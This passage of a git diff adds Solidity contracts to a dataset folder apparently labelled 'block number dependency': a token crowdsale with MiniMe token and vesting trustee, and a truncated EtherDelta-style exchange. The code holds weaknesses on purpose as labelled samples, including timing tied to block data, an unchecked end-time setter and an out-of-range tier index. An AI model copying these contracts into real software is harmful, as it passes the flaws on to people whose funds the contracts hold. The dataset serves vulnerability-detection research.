{ + return (startTime, endTime); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/3291.sol b/smart_contract_dataset/block number dependency/3291.sol new file mode 100644 index 0000000000000000000000000000000000000000..827f3e4f7fc0ce6a3ea0e7290e316816f746ebcf --- /dev/null +++ b/smart_contract_dataset/block number dependency/3291.sol @@ -0,0 +1,1391 @@ +pragma solidity 0.4.18; + + +contract ERC20Basic { + uint256 public totalSupply; + function balanceOf(address who) public constant returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + + +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public constant returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + + +library SafeMath { + function mul(uint256 a, uint256 b) internal constant returns (uint256) { + uint256 c = a * b; + assert(a == 0 || c / a == b); + return c; + } + + function div(uint256 a, uint256 b) internal constant returns (uint256) { + + uint256 c = a / b; + + return c; + } + + function sub(uint256 a, uint256 b) internal constant returns (uint256) { + assert(b <= a); + return a - b; + } + + function add(uint256 a, uint256 b) internal constant returns (uint256) { + uint256 c = a + b; + assert(c >= a); + return c; + } +} + + + +library Math { + function max64(uint64 a, uint64 b) internal constant returns (uint64) { + return a >= b ? a : b; + } + + function min64(uint64 a, uint64 b) internal constant returns (uint64) { + return a < b ? a : b; + } + + function max256(uint256 a, uint256 b) internal constant returns (uint256) { + return a >= b ? a : b; + } + + function min256(uint256 a, uint256 b) internal constant returns (uint256) { + return a < b ? a : b; + } +} + + +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + + function Ownable() { + owner = msg.sender; + } + + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + + function transferOwnership(address newOwner) onlyOwner public { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + + +contract Pausable is Ownable { + event Pause(); + event Unpause(); + + bool public paused = false; + + + + modifier whenNotPaused() { + require(!paused); + _; + } + + + modifier whenPaused() { + require(paused); + _; + } + + + function pause() onlyOwner whenNotPaused public { + paused = true; + Pause(); + } + + + function unpause() onlyOwner whenPaused public { + paused = false; + Unpause(); + } +} + +contract Presale { + + using SafeMath for uint256; + uint256 private weiRaised; + uint256 private startTime; + uint256 private endTime; + uint256 private rate; + + uint256 private cap; + + function Presale(uint256 _startTime, uint256 duration, uint256 _rate, uint256 _cap) public { + require(_rate > 0); + require(_cap > 0); + require(_startTime >= now); + require(duration > 0); + + rate = _rate; + cap = _cap; + startTime = _startTime; + endTime = startTime + duration * 1 days; + weiRaised = 0; + } + + function totalWei() public constant returns(uint256) { + return weiRaised; + } + + function capRemaining() public constant returns(uint256) { + return cap.sub(weiRaised); + } + + function totalCap() public constant returns(uint256) { + return cap; + } + + function buyTokens(address purchaser, uint256 value) internal returns(uint256) { + require(validPurchase(value)); + uint256 tokens = rate.mul(value); + weiRaised = weiRaised.add(value); + return tokens; + } + + function hasEnded() internal constant returns(bool) { + return now > endTime || weiRaised >= cap; + } + + function hasStarted() internal constant returns(bool) { + return now > startTime; + } + + function validPurchase(uint256 value) internal view returns (bool) { + bool withinCap = weiRaised.add(value) <= cap; + return withinCap && withinPeriod(); + } + + function presaleRate() public view returns(uint256) { + return rate; + } + + function withinPeriod () private constant returns(bool) { + return now >= startTime && now <= endTime; + } +} + + +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + assert(token.transfer(to, value)); + } + + function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal { + assert(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + assert(token.approve(spender, value)); + } +} + + +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + + +contract VestingTrustee is Ownable, CanReclaimToken { + using SafeMath for uint256; + + + ERC20 public token; + + + struct Grant { + uint256 value; + uint256 start; + uint256 cliff; + uint256 end; + uint256 installmentLength; + uint256 transferred; + bool revokable; + uint256 prevested; + uint256 vestingPercentage; + } + + + mapping (address => Grant) public grants; + + + uint256 public totalVesting; + + event NewGrant(address indexed _from, address indexed _to, uint256 _value); + event TokensUnlocked(address indexed _to, uint256 _value); + event GrantRevoked(address indexed _holder, uint256 _refund); + + + + function VestingTrustee(address _token) { + require(_token != address(0)); + + token = ERC20(_token); + } + + + + + + + + + + function grant(address _to, uint256 _value, uint256 _start, uint256 _cliff, uint256 _end, + uint256 _installmentLength, uint256 vestingPercentage, uint256 prevested, bool _revokable) + external onlyOwner { + + require(_to != address(0)); + require(_to != address(this)); + require(_value > 0); + require(_value.sub(prevested) > 0); + require(vestingPercentage > 0); + + + require(grants[_to].value == 0); + + + require(_start <= _cliff && _cliff <= _end); + + + require(_installmentLength > 0 && _installmentLength <= _end.sub(_start)); + + + require(totalVesting.add(_value.sub(prevested)) <= token.balanceOf(address(this))); + + + grants[_to] = Grant({ + value: _value, + start: _start, + cliff: _cliff, + end: _end, + installmentLength: _installmentLength, + transferred: prevested, + revokable: _revokable, + prevested: prevested, + vestingPercentage: vestingPercentage + }); + + totalVesting = totalVesting.add(_value.sub(prevested)); + NewGrant(msg.sender, _to, _value); + } + + + + function revoke(address _holder) public onlyOwner { + Grant memory grant = grants[_holder]; + + + require(grant.revokable); + + + + uint256 refund = grant.value.sub(grant.transferred); + + + delete grants[_holder]; + + + totalVesting = totalVesting.sub(refund); + token.transfer(msg.sender, refund); + + GrantRevoked(_holder, refund); + } + + + + + + function vestedTokens(address _holder, uint256 _time) external constant returns (uint256) { + Grant memory grant = grants[_holder]; + if (grant.value == 0) { + return 0; + } + + return calculateVestedTokens(grant, _time); + } + + + + + + function calculateVestedTokens(Grant _grant, uint256 _time) private constant returns (uint256) { + + if (_time < _grant.cliff) { + return _grant.prevested; + } + + + if (_time >= _grant.end) { + return _grant.value; + } + + + uint256 installmentsPast = _time.sub(_grant.cliff).div(_grant.installmentLength) + 1; + + + + return _grant.prevested.add(_grant.value.mul(installmentsPast.mul(_grant.vestingPercentage)).div(100)); + } + + + + function unlockVestedTokens() external { + Grant storage grant = grants[msg.sender]; + + + require(grant.value != 0); + + + uint256 vested = calculateVestedTokens(grant, now); + if (vested == 0) { + revert(); + } + + + uint256 transferable = vested.sub(grant.transferred); + if (transferable == 0) { + revert(); + } + + grant.transferred = grant.transferred.add(transferable); + totalVesting = totalVesting.sub(transferable); + token.transfer(msg.sender, transferable); + TokensUnlocked(msg.sender, transferable); + } + + function reclaimEther() external onlyOwner { + assert(owner.send(this.balance)); + } +} + +contract Controlled { + + + modifier onlyController { require(msg.sender == controller); _; } + + address public controller; + + function Controlled() public { controller = msg.sender;} + + + + function changeController(address _newController) public onlyController { + controller = _newController; + } +} + + +contract TokenController { + + + + function proxyPayment(address _owner) public payable returns(bool); + + + + + + + + function onTransfer(address _from, address _to, uint _amount) public returns(bool); + + + + + + + + function onApprove(address _owner, address _spender, uint _amount) public + returns(bool); +} + + + + + + + + + + + + + + +contract ApproveAndCallFallBack { + function receiveApproval(address from, uint256 _amount, address _token, bytes _data) public; +} + + + + +contract MiniMeToken is Controlled { + + string public name; + uint8 public decimals; + string public symbol; + string public version = 'MMT_0.2'; + + + + + + struct Checkpoint { + + + uint128 fromBlock; + + + uint128 value; + } + + + + MiniMeToken public parentToken; + + + + uint public parentSnapShotBlock; + + + uint public creationBlock; + + + + + mapping (address => Checkpoint[]) balances; + + + mapping (address => mapping (address => uint256)) allowed; + + + Checkpoint[] totalSupplyHistory; + + + bool public transfersEnabled; + + + MiniMeTokenFactory public tokenFactory; + + + + + + + + + + + + + + + + + + + function MiniMeToken( + address _tokenFactory, + address _parentToken, + uint _parentSnapShotBlock, + string _tokenName, + uint8 _decimalUnits, + string _tokenSymbol, + bool _transfersEnabled + ) public { + tokenFactory = MiniMeTokenFactory(_tokenFactory); + name = _tokenName; + decimals = _decimalUnits; + symbol = _tokenSymbol; + parentToken = MiniMeToken(_parentToken); + parentSnapShotBlock = _parentSnapShotBlock; + transfersEnabled = _transfersEnabled; + creationBlock = block.number; + } + + + + + + + + + + + function transfer(address _to, uint256 _amount) public returns (bool success) { + require(transfersEnabled); + doTransfer(msg.sender, _to, _amount); + return true; + } + + + + + + + + function transferFrom(address _from, address _to, uint256 _amount + ) public returns (bool success) { + + + + + + if (msg.sender != controller) { + require(transfersEnabled); + + + require(allowed[_from][msg.sender] >= _amount); + allowed[_from][msg.sender] -= _amount; + } + doTransfer(_from, _to, _amount); + return true; + } + + + + + + + + function doTransfer(address _from, address _to, uint _amount + ) internal { + + if (_amount == 0) { + Transfer(_from, _to, _amount); + return; + } + + require(parentSnapShotBlock < block.number); + + + require((_to != 0) && (_to != address(this))); + + + + var previousBalanceFrom = balanceOfAt(_from, block.number); + + require(previousBalanceFrom >= _amount); + + + if (isContract(controller)) { + require(TokenController(controller).onTransfer(_from, _to, _amount)); + } + + + + updateValueAtNow(balances[_from], previousBalanceFrom - _amount); + + + + var previousBalanceTo = balanceOfAt(_to, block.number); + require(previousBalanceTo + _amount >= previousBalanceTo); + updateValueAtNow(balances[_to], previousBalanceTo + _amount); + + + Transfer(_from, _to, _amount); + + } + + + + function balanceOf(address _owner) public constant returns (uint256 balance) { + return balanceOfAt(_owner, block.number); + } + + + + + + + + function approve(address _spender, uint256 _amount) public returns (bool success) { + require(transfersEnabled); + + + + + + require((_amount == 0) || (allowed[msg.sender][_spender] == 0)); + + + if (isContract(controller)) { + require(TokenController(controller).onApprove(msg.sender, _spender, _amount)); + } + + allowed[msg.sender][_spender] = _amount; + Approval(msg.sender, _spender, _amount); + return true; + } + + + + + + + function allowance(address _owner, address _spender + ) public constant returns (uint256 remaining) { + return allowed[_owner][_spender]; + } + + + + + + + + + function approveAndCall(address _spender, uint256 _amount, bytes _extraData + ) public returns (bool success) { + require(approve(_spender, _amount)); + + ApproveAndCallFallBack(_spender).receiveApproval( + msg.sender, + _amount, + this, + _extraData + ); + + return true; + } + + + + function totalSupply() public constant returns (uint) { + return totalSupplyAt(block.number); + } + + + + + + + + + + + function balanceOfAt(address _owner, uint _blockNumber) public constant + returns (uint) { + + + + + + + if ((balances[_owner].length == 0) + || (balances[_owner][0].fromBlock > _blockNumber)) { + if (address(parentToken) != 0) { + return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock)); + } else { + + return 0; + } + + + } else { + return getValueAt(balances[_owner], _blockNumber); + } + } + + + + + function totalSupplyAt(uint _blockNumber) public constant returns(uint) { + + + + + + + if ((totalSupplyHistory.length == 0) + || (totalSupplyHistory[0].fromBlock > _blockNumber)) { + if (address(parentToken) != 0) { + return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock)); + } else { + return 0; + } + + + } else { + return getValueAt(totalSupplyHistory, _blockNumber); + } + } + + + + + + + + + + + + + + + + function createCloneToken( + string _cloneTokenName, + uint8 _cloneDecimalUnits, + string _cloneTokenSymbol, + uint _snapshotBlock, + bool _transfersEnabled + ) public returns(address) { + if (_snapshotBlock == 0) _snapshotBlock = block.number; + MiniMeToken cloneToken = tokenFactory.createCloneToken( + this, + _snapshotBlock, + _cloneTokenName, + _cloneDecimalUnits, + _cloneTokenSymbol, + _transfersEnabled + ); + + cloneToken.changeController(msg.sender); + + + NewCloneToken(address(cloneToken), _snapshotBlock); + return address(cloneToken); + } + + + + + + + + + + function generateTokens(address _owner, uint _amount + ) public onlyController returns (bool) { + uint curTotalSupply = totalSupply(); + require(curTotalSupply + _amount >= curTotalSupply); + uint previousBalanceTo = balanceOf(_owner); + require(previousBalanceTo + _amount >= previousBalanceTo); + updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount); + updateValueAtNow(balances[_owner], previousBalanceTo + _amount); + Transfer(0, _owner, _amount); + return true; + } + + + + + + + function destroyTokens(address _owner, uint _amount + ) onlyController public returns (bool) { + uint curTotalSupply = totalSupply(); + require(curTotalSupply >= _amount); + uint previousBalanceFrom = balanceOf(_owner); + require(previousBalanceFrom >= _amount); + updateValueAtNow(totalSupplyHistory, curTotalSupply - _amount); + updateValueAtNow(balances[_owner], previousBalanceFrom - _amount); + Transfer(_owner, 0, _amount); + return true; + } + + + + + + + + + function enableTransfers(bool _transfersEnabled) public onlyController { + transfersEnabled = _transfersEnabled; + } + + + + + + + + + + function getValueAt(Checkpoint[] storage checkpoints, uint _block + ) constant internal returns (uint) { + if (checkpoints.length == 0) return 0; + + + if (_block >= checkpoints[checkpoints.length-1].fromBlock) + return checkpoints[checkpoints.length-1].value; + if (_block < checkpoints[0].fromBlock) return 0; + + + uint min = 0; + uint max = checkpoints.length-1; + while (max > min) { + uint mid = (max + min + 1)/ 2; + if (checkpoints[mid].fromBlock<=_block) { + min = mid; + } else { + max = mid-1; + } + } + return checkpoints[min].value; + } + + + + + + function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value + ) internal { + if ((checkpoints.length == 0) + || (checkpoints[checkpoints.length -1].fromBlock < block.number)) { + Checkpoint storage newCheckPoint = checkpoints[ checkpoints.length++ ]; + newCheckPoint.fromBlock = uint128(block.number); + newCheckPoint.value = uint128(_value); + } else { + Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1]; + oldCheckPoint.value = uint128(_value); + } + } + + + + + function isContract(address _addr) constant internal returns(bool) { + uint size; + if (_addr == 0) return false; + assembly { + size := extcodesize(_addr) + } + return size>0; + } + + + function min(uint a, uint b) pure internal returns (uint) { + return a < b ? a : b; + } + + + + + function () public payable { + require(isContract(controller)); + require(TokenController(controller).proxyPayment.value(msg.value)(msg.sender)); + } + + + + + + + + + + function claimTokens(address _token) public onlyController { + if (_token == 0x0) { + controller.transfer(this.balance); + return; + } + + MiniMeToken token = MiniMeToken(_token); + uint balance = token.balanceOf(this); + token.transfer(controller, balance); + ClaimedTokens(_token, controller, balance); + } + + + + + event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount); + event Transfer(address indexed _from, address indexed _to, uint256 _amount); + event NewCloneToken(address indexed _cloneToken, uint _snapshotBlock); + event Approval( + address indexed _owner, + address indexed _spender, + uint256 _amount + ); + +} + + + + + + + + + +contract MiniMeTokenFactory { + + + + + + + + + + + + function createCloneToken( + address _parentToken, + uint _snapshotBlock, + string _tokenName, + uint8 _decimalUnits, + string _tokenSymbol, + bool _transfersEnabled + ) public returns (MiniMeToken) { + MiniMeToken newToken = new MiniMeToken( + this, + _parentToken, + _snapshotBlock, + _tokenName, + _decimalUnits, + _tokenSymbol, + _transfersEnabled + ); + + newToken.changeController(msg.sender); + return newToken; + } +} + + +contract Whitelist is Ownable { + mapping(address => bool) public whitelist; + + event WhitelistedAddressAdded(address addr); + event WhitelistedAddressRemoved(address addr); + + + modifier onlyWhitelisted() { + require(whitelist[msg.sender]); + _; + } + + + function addAddressToWhitelist(address addr) onlyOwner public returns(bool success) { + if (!whitelist[addr]) { + whitelist[addr] = true; + WhitelistedAddressAdded(addr); + success = true; + } + } + + + function addAddressesToWhitelist(address[] addrs) onlyOwner public returns(bool success) { + for (uint256 i = 0; i < addrs.length; i++) { + if (addAddressToWhitelist(addrs[i])) { + success = true; + } + } + } + + + function removeAddressFromWhitelist(address addr) onlyOwner public returns(bool success) { + if (whitelist[addr]) { + whitelist[addr] = false; + WhitelistedAddressRemoved(addr); + success = true; + } + } + + + function removeAddressesFromWhitelist(address[] addrs) onlyOwner public returns(bool success) { + for (uint256 i = 0; i < addrs.length; i++) { + if (removeAddressFromWhitelist(addrs[i])) { + success = true; + } + } + } + +} + +contract Crowdsale is Presale, Pausable, CanReclaimToken, Whitelist { + + using SafeMath for uint256; + address public whitelistAddress; + address public wallet; + MiniMeToken public token; + uint256 private weiRaised = 0; + uint256 private cap = 0; + bool private publicSaleInitialized = false; + bool private finalized = false; + uint256 private tokensSold = 0; + uint256 private startTime; + uint256 private endTime; + uint256 public maxTokens; + mapping(address => uint256) public contributions; + mapping(address => uint256) public investorCaps; + address[] public investors; + address[] public founders; + address[] public advisors; + VestingTrustee public trustee; + address public reserveWallet; + + + + struct Tier { + uint256 rate; + uint256 max; + } + + uint public privateSaleTokensAvailable; + uint public privateSaleTokensSold = 0; + uint public publicTokensAvailable; + + uint8 public totalTiers = 0; + bool public tiersInitialized = false; + uint256 public maxTiers = 6; + Tier[6] public tiers; + + event TokenPurchase(address indexed purchaser, uint256 value, uint256 amount); + enum Stage { Preparing, Presale, PresaleFinished, PublicSale, Success, Finalized } + + function Crowdsale( + uint256 _presaleStartTime, + uint256 _presaleDuration, + uint256 _presaleRate, + uint256 _presaleCap, + address erc20Token, + address _wallet, + uint8 _tiers, + uint256 _cap, + address _reserveWallet) + public + Presale(_presaleStartTime, _presaleDuration, _presaleRate, _presaleCap) + { + require(_wallet != address(0)); + require(erc20Token != address(0)); + require(_tiers > 0 && _tiers <= maxTiers); + require(_cap > 0); + require(_reserveWallet != address(0)); + token = MiniMeToken(erc20Token); + wallet = _wallet; + totalTiers = _tiers; + cap = _cap; + reserveWallet = _reserveWallet; + trustee = new VestingTrustee(erc20Token); + maxTokens = 1000000000 * (10 ** 18); + privateSaleTokensAvailable = maxTokens.mul(22).div(100); + publicTokensAvailable = maxTokens.mul(28).div(100); + super.addAddressToWhitelist(msg.sender); + + } + + function() public payable { + buyTokens(msg.sender, msg.value); + } + + function getStage() public constant returns(Stage) { + if (finalized) return Stage.Finalized; + if (!tiersInitialized || !Presale.hasStarted()) return Stage.Preparing; + if (!Presale.hasEnded()) return Stage.Presale; + if (Presale.hasEnded() && !hasStarted()) return Stage.PresaleFinished; + if (!hasEnded()) return Stage.PublicSale; + if (hasEnded()) return Stage.Success; + return Stage.Preparing; + } + + modifier inStage(Stage _stage) { + require(getStage() == _stage); + _; + } + + + + function initTiers(uint256[] rates, uint256[] totalWeis) public onlyWhitelisted returns(uint256) { + require(token.controller() == address(this)); + require(!tiersInitialized); + require(rates.length == totalTiers && rates.length == totalWeis.length); + uint256 tierMax = 0; + + for (uint8 i=0; i < totalTiers; i++) { + + require(totalWeis[i] > 0 && rates[i] > 0); + + tierMax = tierMax.add(totalWeis[i]); + tiers[i] = Tier({ + rate: rates[i], + max: tierMax + }); + } + + require(tierMax == cap); + tiersInitialized = true; + return tierMax; + } + + + function setCapForParticipants(address[] participants, uint256[] caps) onlyWhitelisted public { + require(participants.length <= 50 && participants.length == caps.length); + for (uint8 i=0; i < participants.length; i++) { + investorCaps[participants[i]] = caps[i]; + } + } + + + function addGrant(address assignee, uint256 value, bool isFounder) public onlyWhitelisted whenNotPaused { + require(value > 0); + require(assignee != address(0)); + uint256 start; + uint256 cliff; + uint256 vestingPercentage; + uint256 initialTokens; + if(isFounder) { + start = now; + cliff = start + 12*30 days; + vestingPercentage = 20; + founders.push(assignee); + } + else { + + + initialTokens = value.mul(10).div(100); + transferTokens(assignee, initialTokens); + start = now; + cliff = start + 6*30 days; + vestingPercentage = 15; + advisors.push(assignee); + } + + uint256 end = now + 3 * 1 years; + uint256 installmentLength = 6 * 30 days; + bool revokable = true; + transferTokens(trustee, value.sub(initialTokens)); + trustee.grant(assignee, value, start, cliff, end, installmentLength, vestingPercentage, initialTokens, revokable); + } + + + function finalize() public onlyWhitelisted inStage(Stage.Success) { + require(!finalized); + + trustee.transferOwnership(msg.sender); + + token.enableTransfers(true); + + uint256 unsold = maxTokens.sub(token.totalSupply()); + transferTokens(reserveWallet, unsold); + + + + token.changeController(0x0); + finalized = true; + } + + + function startPublicSale(uint _startTime, uint _duration) public onlyWhitelisted inStage(Stage.PresaleFinished) { + require(_startTime >= now); + require(_duration > 0); + startTime = _startTime; + endTime = _startTime + _duration * 1 days; + publicSaleInitialized = true; + } + + + function totalWei() public constant returns(uint256) { + uint256 presaleWei = super.totalWei(); + return presaleWei.add(weiRaised); + } + + function totalPublicSaleWei() public constant returns(uint256) { + return weiRaised; + } + + function totalCap() public constant returns(uint256) { + uint256 presaleCap = super.totalCap(); + return presaleCap.add(cap); + } + + + + function totalTokens() public constant returns(uint256) { + return tokensSold; + } + + + function buyTokens(address purchaser, uint256 value) internal whenNotPaused returns(uint256) { + require(value > 0); + Stage stage = getStage(); + require(stage == Stage.Presale || stage == Stage.PublicSale); + + + uint256 purchaseAmount = Math.min256(value, investorCaps[purchaser].sub(contributions[purchaser])); + require(purchaseAmount > 0); + uint256 numTokens; + + + if (stage == Stage.Presale) { + if (Presale.totalWei().add(purchaseAmount) > Presale.totalCap()) { + purchaseAmount = Presale.capRemaining(); + } + numTokens = Presale.buyTokens(purchaser, purchaseAmount); + } else if (stage == Stage.PublicSale) { + + uint totalWei = weiRaised.add(purchaseAmount); + uint8 currentTier = getTier(weiRaised); + if (totalWei >= cap) { + totalWei = cap; + + purchaseAmount = cap.sub(weiRaised); + } + + + + if (totalWei <= tiers[currentTier].max) { + numTokens = purchaseAmount.mul(tiers[currentTier].rate); + } else { + + uint remaining = tiers[currentTier].max.sub(weiRaised); + numTokens = remaining.mul(tiers[currentTier].rate); + + + uint256 excess = totalWei.sub(tiers[currentTier].max); + + numTokens = numTokens.add(excess.mul(tiers[currentTier + 1].rate)); + } + + + weiRaised = weiRaised.add(purchaseAmount); + } + + + require(tokensSold.add(numTokens) <= publicTokensAvailable); + tokensSold = tokensSold.add(numTokens); + + + forwardFunds(purchaser, purchaseAmount); + + transferTokens(purchaser, numTokens); + + + if (value.sub(purchaseAmount) > 0) { + msg.sender.transfer(value.sub(purchaseAmount)); + } + + + TokenPurchase(purchaser, numTokens, purchaseAmount); + + return numTokens; + } + + + + function forwardFunds(address purchaser, uint256 value) internal { + + if (contributions[purchaser] == 0) { + investors.push(purchaser); + } + + contributions[purchaser] = contributions[purchaser].add(value); + wallet.transfer(value); + } + + function changeEndTime(uint _endTime) public onlyWhitelisted { + endTime = _endTime; + } + + function changeFundsWallet(address _newWallet) public onlyWhitelisted { + require(_newWallet != address(0)); + wallet = _newWallet; + } + + function changeTokenController() onlyWhitelisted public { + token.changeController(msg.sender); + } + + function changeTrusteeOwner() onlyWhitelisted public { + trustee.transferOwnership(msg.sender); + } + function changeReserveWallet(address _reserve) public onlyWhitelisted { + require(_reserve != address(0)); + reserveWallet = _reserve; + } + + function setWhitelistAddress(address _whitelist) public onlyWhitelisted { + require(_whitelist != address(0)); + whitelistAddress = _whitelist; + } + + function transferTokens(address to, uint256 value) internal { + token.generateTokens(to, value); + } + + function sendPrivateSaleTokens(address to, uint256 value) public whenNotPaused onlyWhitelisted { + require(privateSaleTokensSold.add(value) <= privateSaleTokensAvailable); + privateSaleTokensSold = privateSaleTokensSold.add(value); + transferTokens(to, value); + } + + function hasEnded() internal constant returns(bool) { + return now > endTime || weiRaised >= cap; + } + + function hasStarted() internal constant returns(bool) { + return publicSaleInitialized && now >= startTime; + } + + function getTier(uint256 _weiRaised) internal constant returns(uint8) { + for (uint8 i = 0; i < totalTiers; i++) { + if (_weiRaised < tiers[i].max) { + return i; + } + } + + return totalTiers + 1; + } + + + + function getCurrentTier() public constant returns(uint8) { + return getTier(weiRaised); + } + + + + function proxyPayment(address _owner) public payable returns(bool) { + return true; + } + + function onApprove(address _owner, address _spender, uint _amount) public returns(bool) { + return true; + } + + function onTransfer(address _from, address _to, uint _amount) public returns(bool) { + return true; + } + + function getTokenSaleTime() public constant returns(uint256, uint256) { + return (startTime, endTime); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/3311.sol b/smart_contract_dataset/block number dependency/3311.sol new file mode 100644 index 0000000000000000000000000000000000000000..77d198d9f2cb53b1ea2b7f27e7a3ff52ddde3d47 --- /dev/null +++ b/smart_contract_dataset/block number dependency/3311.sol @@ -0,0 +1,324 @@ +pragma solidity ^0.4.9; + +contract SafeMath { + function safeMul(uint a, uint b) internal returns (uint) { + uint c = a * b; + assert(a == 0 || c / a == b); + return c; + } + + function safeSub(uint a, uint b) internal returns (uint) { + assert(b <= a); + return a - b; + } + + function safeAdd(uint a, uint b) internal returns (uint) { + uint c = a + b; + assert(c>=a && c>=b); + return c; + } + + function assert(bool assertion) internal { + if (!assertion) throw; + } +} + +contract Token { + + function totalSupply() constant returns (uint256 supply) {} + + + + function balanceOf(address _owner) constant returns (uint256 balance) {} + + + + + + function transfer(address _to, uint256 _value) returns (bool success) {} + + + + + + + function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} + + + + + + function approve(address _spender, uint256 _value) returns (bool success) {} + + + + + function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} + + event Transfer(address indexed _from, address indexed _to, uint256 _value); + event Approval(address indexed _owner, address indexed _spender, uint256 _value); + + uint public decimals; + string public name; +} + +contract StandardToken is Token { + + function transfer(address _to, uint256 _value) returns (bool success) { + + + + if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { + + balances[msg.sender] -= _value; + balances[_to] += _value; + Transfer(msg.sender, _to, _value); + return true; + } else { return false; } + } + + function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { + + if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { + + balances[_to] += _value; + balances[_from] -= _value; + allowed[_from][msg.sender] -= _value; + Transfer(_from, _to, _value); + return true; + } else { return false; } + } + + function balanceOf(address _owner) constant returns (uint256 balance) { + return balances[_owner]; + } + + function approve(address _spender, uint256 _value) returns (bool success) { + allowed[msg.sender][_spender] = _value; + Approval(msg.sender, _spender, _value); + return true; + } + + function allowance(address _owner, address _spender) constant returns (uint256 remaining) { + return allowed[_owner][_spender]; + } + + mapping(address => uint256) balances; + + mapping (address => mapping (address => uint256)) allowed; + + uint256 public totalSupply; +} + +contract ReserveToken is StandardToken, SafeMath { + address public minter; + function ReserveToken() { + minter = msg.sender; + } + function create(address account, uint amount) { + if (msg.sender != minter) throw; + balances[account] = safeAdd(balances[account], amount); + totalSupply = safeAdd(totalSupply, amount); + } + function destroy(address account, uint amount) { + if (msg.sender != minter) throw; + if (balances[account] < amount) throw; + balances[account] = safeSub(balances[account], amount); + totalSupply = safeSub(totalSupply, amount); + } +} + +contract AccountLevels { + + + + + function accountLevel(address user) constant returns(uint) {} +} + +contract AccountLevelsTest is AccountLevels { + mapping (address => uint) public accountLevels; + + function setAccountLevel(address user, uint level) { + accountLevels[user] = level; + } + + function accountLevel(address user) constant returns(uint) { + return accountLevels[user]; + } +} + +contract nDEX is SafeMath { + address public admin; + address public feeAccount; + address public feeAccount2; + address public accountLevelsAddr; + uint public feeMake; + uint public feeTake; + uint public feeRebate; + mapping (address => mapping (address => uint)) public tokens; + mapping (address => mapping (bytes32 => bool)) public orders; + mapping (address => mapping (bytes32 => uint)) public orderFills; + + event Order(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user); + event Cancel(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s); + event Trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address get, address give); + event Deposit(address token, address user, uint amount, uint balance); + event Withdraw(address token, address user, uint amount, uint balance); + + function nDEX(address admin_, address feeAccount_, address feeAccount2_, address accountLevelsAddr_, uint feeMake_, uint feeTake_, uint feeRebate_) { + admin = admin_; + feeAccount = feeAccount_; + feeAccount2 = feeAccount2_; + accountLevelsAddr = accountLevelsAddr_; + feeMake = feeMake_; + feeTake = feeTake_; + feeRebate = feeRebate_; + } + + function() { + throw; + } + + function changeAdmin(address admin_) { + if (msg.sender != admin) throw; + admin = admin_; + } + + function changeAccountLevelsAddr(address accountLevelsAddr_) { + if (msg.sender != admin) throw; + accountLevelsAddr = accountLevelsAddr_; + } + + function changeFeeAccount(address feeAccount_) { + if (msg.sender != admin) throw; + feeAccount = feeAccount_; + } + + function changeFeeAccount2(address feeAccount2_) { + if (msg.sender != feeAccount2) throw; + feeAccount2 = feeAccount2_; + } + + function changeFeeMake(uint feeMake_) { + if (msg.sender != admin) throw; + if (feeMake_ > feeMake) throw; + feeMake = feeMake_; + } + + function changeFeeTake(uint feeTake_) { + if (msg.sender != admin) throw; + if (feeTake_ > feeTake || feeTake_ < feeRebate) throw; + feeTake = feeTake_; + } + + function changeFeeRebate(uint feeRebate_) { + if (msg.sender != admin) throw; + if (feeRebate_ < feeRebate || feeRebate_ > feeTake) throw; + feeRebate = feeRebate_; + } + + function deposit() payable { + tokens[0][msg.sender] = safeAdd(tokens[0][msg.sender], msg.value); + Deposit(0, msg.sender, msg.value, tokens[0][msg.sender]); + } + + function withdraw(uint amount) { + if (tokens[0][msg.sender] < amount) throw; + tokens[0][msg.sender] = safeSub(tokens[0][msg.sender], amount); + if (!msg.sender.call.value(amount)()) throw; + Withdraw(0, msg.sender, amount, tokens[0][msg.sender]); + } + + function depositToken(address token, uint amount) { + + if (token==0) throw; + if (!Token(token).transferFrom(msg.sender, this, amount)) throw; + tokens[token][msg.sender] = safeAdd(tokens[token][msg.sender], amount); + Deposit(token, msg.sender, amount, tokens[token][msg.sender]); + } + + function withdrawToken(address token, uint amount) { + if (token==0) throw; + if (tokens[token][msg.sender] < amount) throw; + tokens[token][msg.sender] = safeSub(tokens[token][msg.sender], amount); + if (!Token(token).transfer(msg.sender, amount)) throw; + Withdraw(token, msg.sender, amount, tokens[token][msg.sender]); + } + + function balanceOf(address token, address user) constant returns (uint) { + return tokens[token][user]; + } + + function order(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce) { + bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce); + orders[msg.sender][hash] = true; + Order(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, msg.sender); + } + + function 